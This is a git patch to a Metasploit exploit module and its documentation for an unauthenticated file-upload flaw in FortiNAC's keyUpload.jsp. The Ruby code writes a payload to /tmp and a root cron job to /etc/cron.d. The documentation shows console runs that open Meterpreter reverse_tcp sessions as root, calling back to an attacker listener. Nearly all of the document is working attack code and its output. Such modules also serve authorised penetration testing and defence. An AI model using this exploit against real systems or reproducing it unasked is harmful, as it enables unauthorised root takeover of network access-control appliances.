From 06e7c3d702b2e83cdf452b95943ffaeaff687de2 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Thu, 9 Mar 2023 17:39:53 -0500 Subject: [PATCH] Responded to comments updated docs --- .../http/fortinac_keyupload_file_write.md | 76 +++++++++++-------- .../http/fortinac_keyupload_file_write.rb | 51 ++++++------- 2 files changed, 68 insertions(+), 59 deletions(-) diff --git a/documentation/modules/exploit/linux/http/fortinac_keyupload_file_write.md b/documentation/modules/exploit/linux/http/fortinac_keyupload_file_write.md index ee83c00db4..d26a75949c 100644 --- a/documentation/modules/exploit/linux/http/fortinac_keyupload_file_write.md +++ b/documentation/modules/exploit/linux/http/fortinac_keyupload_file_write.md @@ -75,29 +75,27 @@ GUI and once complete, restart the machine. You should now have a vulnerable ins 1. Receive a Meterpreter session as the `root` user. ## Scenarios -### FortiNAC 9.4.0 Python Target +### FortiNAC 9.4.0 CMD Target ``` -msf6 > use exploit/multi/http/fortinac_keyupload_file_upload -[*] Using exploit/multi/http/fortinac_keyupload_file_upload -msf6 exploit(multi/http/fortinac_keyupload_file_upload) > set rhosts 192.168.123.11 +msf6 > use exploit/linux/http/fortinac_keyupload_file_write +[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp +msf6 exploit(linux/http/fortinac_keyupload_file_write) > set rhosts 192.168.123.11 rhosts => 192.168.123.11 -msf6 exploit(multi/http/fortinac_keyupload_file_upload) > set lhost 192.168.123.1 +msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lhost 192.168.123.1 lhost => 192.168.123.1 -msf6 exploit(multi/http/fortinac_keyupload_file_upload) > set lport 4440 -lport => 4440 -msf6 exploit(multi/http/fortinac_keyupload_file_upload) > run +msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lport 4044 +lport => 4044 +msf6 exploit(linux/http/fortinac_keyupload_file_write) > run -[*] Started reverse TCP handler on 192.168.123.1:4440 +[*] Started reverse TCP handler on 192.168.123.1:4044 [*] Running automatic check ("set AutoCheck false" to disable) -[+] The target appears to be vulnerable. -[*] Sending zipped payload to /configWizard/keyUpload.jsp +[+] The target appears to be vulnerable. Target indicated a successful upload occurred! [*] Sending zipped cron job to /configWizard/keyUpload.jsp [*] Waiting for cron job to run [*] Sending stage (24772 bytes) to 192.168.123.11 -[*] Meterpreter session 1 opened (192.168.123.1:4440 -> 192.168.123.11:56544) at 2023-03-08 13:48:03 -0500 -[!] This exploit may require manual cleanup of '/tmp/gSYDIjeD' on the target -[!] This exploit may require manual cleanup of '/etc/cron.d/PYXGcyGo' on the target +[*] Meterpreter session 1 opened (192.168.123.1:4044 -> 192.168.123.11:59938) at 2023-03-09 17:01:02 -0500 +[!] This exploit may require manual cleanup of '/etc/cron.d/ZlzEXbWF' on the target meterpreter > getuid Server username: root @@ -107,35 +105,47 @@ OS : Linux 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 U Architecture : x64 System Language : en_US Meterpreter : python/linux -meterpreter > +meterpreter > ``` ### FortiNAC 9.4.0 Linux x64 Target ``` -msf6 > use exploit/multi/http/fortinac_keyupload_file_upload -[*] Using exploit/multi/http/fortinac_keyupload_file_upload -msf6 exploit(multi/http/fortinac_keyupload_file_upload) > set rhosts 192.168.123.11 -rhosts => 192.168.123.11 -msf6 exploit(multi/http/fortinac_keyupload_file_upload) > set lhost 192.168.123.1 -lhost => 192.168.123.1 -msf6 exploit(multi/http/fortinac_keyupload_file_upload) > set lport 4440 -lport => 4440 -msf6 exploit(multi/http/fortinac_keyupload_file_upload) > set target Linux x64 -target => Linux x64 -msf6 exploit(multi/http/fortinac_keyupload_file_upload) > set payload linux/x64/meterpreter/reverse_tcp -payload => linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/fortinac_keyupload_file_upload) > run +msf6 > use exploit/linux/http/fortinac_keyupload_file_write +[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp +msf6 exploit(linux/http/fortinac_keyupload_file_write) > show targets -[*] Started reverse TCP handler on 192.168.123.1:4440 +Exploit targets: +================= + + Id Name + -- ---- +=> 0 CMD + 1 Linux x86 + 2 Linux x64 + + +msf6 exploit(linux/http/fortinac_keyupload_file_write) > set target 2 +target => 2 +msf6 exploit(linux/http/fortinac_keyupload_file_write) > set payload linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/fortinac_keyupload_file_write) > set rhosts 192.168.123.11 +rhosts => 192.168.123.11 +msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lhost 192.168.123.1 +lhost => 192.168.123.1 +msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lport 9909 +lport => 9909 +msf6 exploit(linux/http/fortinac_keyupload_file_write) > run + +[*] Started reverse TCP handler on 192.168.123.1:9909 [*] Running automatic check ("set AutoCheck false" to disable) -[+] The target appears to be vulnerable. +[+] The target appears to be vulnerable. Target indicated a successful upload occurred! [*] Sending zipped payload to /configWizard/keyUpload.jsp [*] Sending zipped cron job to /configWizard/keyUpload.jsp [*] Waiting for cron job to run [*] Sending stage (3045348 bytes) to 192.168.123.11 -[*] Meterpreter session 2 opened (192.168.123.1:4440 -> 192.168.123.11:56578) at 2023-03-08 13:49:01 -0500 -[!] This exploit may require manual cleanup of '/tmp/vprwoPAh' on the target -[!] This exploit may require manual cleanup of '/etc/cron.d/ZIpoyhHQ' on the target +[*] Meterpreter session 3 opened (192.168.123.1:9909 -> 192.168.123.11:38266) at 2023-03-09 17:31:01 -0500 +[!] This exploit may require manual cleanup of '/tmp/HcYciseH' on the target +[!] This exploit may require manual cleanup of '/etc/cron.d/DsxejZgV' on the target meterpreter > getuid Server username: root diff --git a/modules/exploits/linux/http/fortinac_keyupload_file_write.rb b/modules/exploits/linux/http/fortinac_keyupload_file_write.rb index 100318639e..a789c38f28 100644 --- a/modules/exploits/linux/http/fortinac_keyupload_file_write.rb +++ b/modules/exploits/linux/http/fortinac_keyupload_file_write.rb @@ -23,17 +23,6 @@ class MetasploitModule < Msf::Exploit::Remote is accessible remotely and without authentication. When you send the vulnerable endpoint a zip file, it will extract an attacker controlled file to a directory of the attackers choice on the target system. - - This issue is exploitable on the following versions of FortiNAC: - - FortiNAC version 9.4 prior to 9.4.1 - FortiNAC version 9.2 prior to 9.2.6 - FortiNAC version 9.1 prior to 9.1.8 - FortiNAC 8.8 all versions - FortiNAC 8.7 all versions - FortiNAC 8.6 all versions - FortiNAC 8.5 all versions - FortiNAC 8.3 all versions }, 'Author' => [ 'Gwendal Guégniaud', # discovery @@ -55,9 +44,9 @@ class MetasploitModule < Msf::Exploit::Remote 'RPORT' => 8443, 'WfsDelay' => '75' }, - 'Arch' => [ ARCH_PYTHON, ARCH_X64, ARCH_X86 ], + 'Arch' => [ ARCH_CMD, ARCH_X64, ARCH_X86 ], 'Targets' => [ - [ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ], + [ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ] ], @@ -103,34 +92,44 @@ class MetasploitModule < Msf::Exploit::Remote 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'data' => mime.to_s }) - fail_with(Failure::Unknown, 'Failed to send the zip file to /configWizard/keyUpload.jsp') unless res && res.code == 200 + fail_with(Failure::Unknown, 'Failed to send the zip file to /configWizard/keyUpload.jsp') unless res && res.code == 200 && res.body.include?('yams.jsp.portal.SuccessfulUpload') vprint_good('Successfully sent zip file') end + def cron_file(command) + cron_file = 'SHELL=/bin/sh' + cron_file << "\n" + cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin' + cron_file << "\n" + cron_file << "* * * * * root #{command}" + cron_file << "\n" + + cron_file + end + def exploit - payload_filename = Rex::Text.rand_text_alpha(8) - payload_path = '/tmp/' + payload_filename cron_filename = Rex::Text.rand_text_alpha(8) cron_path = '/etc/cron.d/' + cron_filename case target['Arch'] - when ARCH_PYTHON - cron_command = "python #{payload_path}" - payload_data = payload.raw + when ARCH_CMD + cron_command = payload.raw when ARCH_X64, ARCH_X86 - cron_command = "chmod +x #{payload_path} && #{payload_path}" + payload_filename = Rex::Text.rand_text_alpha(8) + payload_path = '/tmp/' + payload_filename payload_data = payload.encoded_exe + cron_command = "chmod +x #{payload_path} && #{payload_path}" + + # zip and send payload + zipped_payload = zip_file(payload_path, payload_data) + send_zip_file(payload_filename, zipped_payload, 'payload') + register_dirs_for_cleanup(payload_path) else fail_with(Failure::BadConfig, 'Invalid target architecture selected') end - # zip and send payload - zipped_payload = zip_file(payload_path, payload_data) - send_zip_file(payload_filename, zipped_payload, 'payload') - register_dirs_for_cleanup(payload_path) - # zip and send cron job - zipped_cron = zip_file(cron_path, "* * * * * root #{cron_command} 0>&1\n") + zipped_cron = zip_file(cron_path, cron_file(cron_command)) send_zip_file(cron_filename, zipped_cron, 'cron job') register_dirs_for_cleanup(cron_path)